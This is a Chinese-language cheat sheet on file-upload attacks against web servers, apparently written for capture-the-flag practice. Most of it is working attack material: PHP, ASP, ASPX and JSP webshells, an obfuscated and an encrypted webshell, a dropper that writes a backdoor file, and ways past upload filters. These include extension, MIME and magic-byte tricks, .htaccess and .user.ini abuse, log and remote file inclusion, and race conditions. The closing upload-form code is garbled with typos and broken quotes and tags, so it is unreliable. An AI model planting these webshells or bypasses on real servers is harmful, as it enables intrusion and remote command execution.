文件上传


木马

一句话木马

// php一句话
<?php @eval($_POST['1']); ?>

// js一句话
GIF89a?
<script language="php">eval($_POST["2333"]);</script>

// 短标签
<?=eval($_POST['a']);?>
<?=phpinfo();?>

// 无分号
<?=eval(array_pop($_POST))?>

// 关键词绕过:php
GIF89a
<?php
$a = str_replace("b", "", "absbsbebrbt");
$a($_POST['x']);
?>

// asp一句话
<%eval requset("cmd")%>

// aspx一句话
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>

进阶类木马

jsp木马, 密码为shell

<%
if ("shell".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>

免杀马, 被包含或者执行之后生成1.php

<?php  
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

更高级一点的木马:

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

文件解析漏洞

Apache

从右向左解析,直到遇到可解析的后缀( 特性 ) 只有当配置文件存在AddHandler application/x-httpd-php .php,才会有解析漏洞

Nginx

低版本可以在任意文件名后添加%00.php进行攻击

高版本和IIS 7.5一样,但是需要开启允许解析其他格式文件为PHP,否则会报错

/etc/php5/fpm/pool.d/www.conf 的 security.limit_extensions

Tomcat

远程代码执行 CVE-2017-12615

在配置文件web.xml中,servlet配置readonly=false会引发任意文件上传漏洞

IIS

可处理.asp,.cer,.asa

IIS 6.0在处理含有特殊符号的文件路径会出现逻辑错误

/test.asp/test.jpg
// 新建test.asp目录,这个目录任何文件都被当作asp程序执行
test.asp;.jpg
// 被 ; 影响,依然会被当作asp执行

IIS 7.5

url后缀中带有 .php 就交给 php 处理,修饰之后去掉 /.php,如果修饰后此文件存在,将该文件作为php程序执行

test.jpg/.php

绕过

常见后缀黑白名单

函数pathinfo()获取文件后缀

Blacklist:
php/ php2/ php3/ php4/ php5/ pht/ asp/ aspx/ ascx/ jsp/ bat/ exe/ dll

Whitelist:
jpg/ png/ gif/ doc/ docx/ xls

其他:
phtml/

前端检验绕过

  • 删除浏览器事件

过滤原理: 调用selectFile()将文件名转换为小写,通过substr()获取文件名后缀(包括点)进行判断

<form action="upload.php" method="post" enctype="multipart/form-data" onsubmit="return selectFile()">
// 删掉return selectFile()
  • bp抓包修改后缀

仅仅在前端检测了文件后缀, 后缀并没有检测包

  • 构造上传表单

  • 禁用js等

后端检验绕过

原理 后缀名检测 MIME类型检测 文件内容检测 00截断检测 条件竞争检测

后缀名黑名单

  • 大小写绕过: php -> pHp
  • 换后缀: 有些中间件可以解析其他后缀,asa,cer; 或者在httpd.conf配置文件添加配置
AddType application/x-httpd-php .php
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .phtml
  • Windows特性: windows会自己修改不被允许的文件,所以部分情况一样可以解析为php:
描述 例子
末尾加点 1.php.
末尾加空格 1.php
::$DATA 1.php::$DATA

后缀名白名单

常常配合文件包含或解析漏洞

  • MIME修改
  • %00,0x00截断

MIME类型绕过

后端获取特征:

$_FILES["file"]["type"] != "image/jpeg"
文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

抓包, 在Content-Type处修改MIME即可, 一般都会有

文件幻数检测

原理:getimagesize()获取图片宽高等信息,如果不是图片则没有信息; 即检测文件幻数

文件幻数:
JPG: FF D8 FF E0 00 10 4A 46 49 46
GIF: 47 49 46 38 39 61 // GIF89a
PNG: 89 50 4E 47
JPEG: FF D8 FF
PNG: 89 50 4E 47 0D 0A 1A 0A
PDF: 25 50 44 46 2D   // 表示%PDF-
ZIP: 50 4B 03 04
Windows可执行文件:4D 5A  // 表示MZ
TIFF:49 49 2A 00 或 4D 4D 00 2A

Winhex在文件头部补充即可, 又叫做文件头检测

文件内容检测

检查不能有特定符号和字符串, 比如php, 括号等

通常利用配置文件加上短标签绕过, 这里给出一些例子:

检测 绕过
php 配置文件/短标签
中括号 大括号
分号 更换木马/直接执行命令

直接执行命令例子如下:

<?=system("tac /var/www/html/flag.php")?>
<?=system("tac ../flag.php")?>

其他方法

00截断

原理: 即chr(0),程序把它当成了结束符号

php版本小于5.3.4 magic_quotes_gpc为OFF

phar文件上传

配置文件上传

  • .htaccess

条件: httpd.conf 中 AllowOverride 参数为 All, 即允许.htaccess文件覆盖掉 Apache 的配置

SetHandler application/x-httpd-php
SetHandler application/x-httpd-php .jpg
// 将内容符合php语法规则的文件当作php文件解析, shell.jpg 会被执行

AddHandler php5-script .php
// 匹配文件名中的关键字, shell.php.png会被执行

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
// 匹配文件名字
  • .user.ini

条件: 当前目录下有php文件才会启用用户INI文件

常见的利用方法是利用可访问的文件去包含新上传的木马, 可用配置项目如下:

  • auto_append_file
  • auto_prepend_file

区别在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(文件末尾有exit()时该设置无效)

下面是一个例子, 传入之后再次上传shell.jpg会被自动包含

auto_prepend_file=shell.jpg

文件包含

  • 日志包含

利用配置文件上传使得日志被包含, 然后就是构造UA头再次访问, 直接getshell

可以用的木马:

<?=include '/var/l'.'og/nginx/access.l'.'og'?>

或者直接在配置文件里面写: .user.ini

auto_prepend_file=/var/log/nginx/access.log
# 下面这个有时候可以用在其他地方
auto_append_file=php://input
  • 远程文件包含

同日志包含, 这个也就是改改木马; 如果点也被过滤, 可以用长数字ip: 转换网址

<?=include"http://数字IP/shell"?>

条件竞争

绕过原理: 删除之前访问未删除的文件,生成真正使用的木马

上传上去的文件马上就被删除了, 假如上传目录可以被访问/包含, 那就可以用条件竞争; 比较推荐使用脚本语言写脚本

<?php fputs(foprn('../shell.php','w'),'<?php phpinfo();?>'); ?>

图片二次渲染

文件上传之图片二次渲染上传

直接看ctfshow web164

文件下载

有些网站下载的方法是进行文件包含(download?file=…), 可以先上传一个文件末尾增加了一句话的木马文件, 抓下载包就可以执行命令了

极端情况

如果真没有办法上传, 但是可以写新文件或更改现有页面(网站后台), 试试以下代码

<?php
if ($_FTLES[ "file" ] [ "error"] > 0)
{
echo "错误:" . $_FILES[ "file" ][ "error"] . "<br>"; // 判断是否有错误
}
else
{
echo "上传文件名;”. $_FILES[ "file" ][" name " ] . "<br>";
echo“文件类型:“ . S_FILES[ "file" ] [ "type"] . “<br>";
echo "文件大小:”. ($_FILES[ "file" ] [ "size" ] / 1024) . " kB<br>"; //输出一些对应的信息
echo "文件临时存储的位置:”. $_FILES[ "file"]["tmp_name " ];
if (file_exists( " upload:" . $_FILES[ "filc" ] [ " name" ] ) )
{
echo $_FILES["file" ][ "name" ] .”文件已经存在。“; //判断是否有同名文件
)
else
{
//如果 upload目求不存在该文件则将文件上传到upload目录下
move_uploaded_file($_FILES[ "file' ] [ " tmp_name" ],"upload/" . $_FILES[ " file" ][ " name" ) );
echo "文件存储在:” . "upload/" . $_FILES[ "file" ] [ "name " ] ;
} //输出位置
}
?>
<html>
<head>
<meta charset="utf-8">
<title>文件上传</title> //inpuut type类型必须为file
< / head>
<body>

<form action="upload_file.php " method="post" enctype="multipart/form-data">
<label for="file" >文件名: < /label>
<input type="file" name="file" id="file" o<br>
<input type= "submit" name="submit" value="提交">
< /form>

</body>
</html>